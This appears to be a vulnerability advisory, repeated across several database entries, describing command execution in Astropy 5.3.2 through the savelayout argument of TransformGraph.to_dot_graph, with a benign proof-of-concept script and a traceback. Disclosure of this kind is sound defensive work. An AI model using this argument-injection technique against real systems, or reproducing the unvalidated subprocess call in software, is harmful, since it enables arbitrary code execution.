Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.

Affected: PyPI: astropy

### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function

### Details

Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.

### PoC

```shell $ cat /tmp/script #!/bin/bash echo astrorce > /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from astropy.coordinates.transformations import TransformGraph >>> tg = TransformGraph() >>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script") Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph stdout, stderr = proc.communicate(dotgraph) File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate stdout, stderr = self._communicate(input, endtime, timeout) File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate input_view = memoryview(self._input) TypeError: memoryview: a bytes-like object is required, not 'str' >…

python310-astropy-6.0.0-3.1 on GA media

Affected: PyPI: astropy

### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function

### Details

Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.

### PoC

```shell $ cat /tmp/script #!/bin/bash echo astrorce > /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from astropy.coordinates.transformations import TransformGraph >>> tg = TransformGraph() >>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script") Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph stdout, stderr = proc.communicate(dotgraph) File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate stdout, stderr = self._communicate(input, endtime, timeout) File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate input_view = memoryview(self._input) TypeError: memoryview: a bytes-like object is required, not 'str' >…

Affected: Ubuntu:18.04:LTS: astropy, Ubuntu:20.04:LTS: astropy, Ubuntu:22.04:LTS: astropy

Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.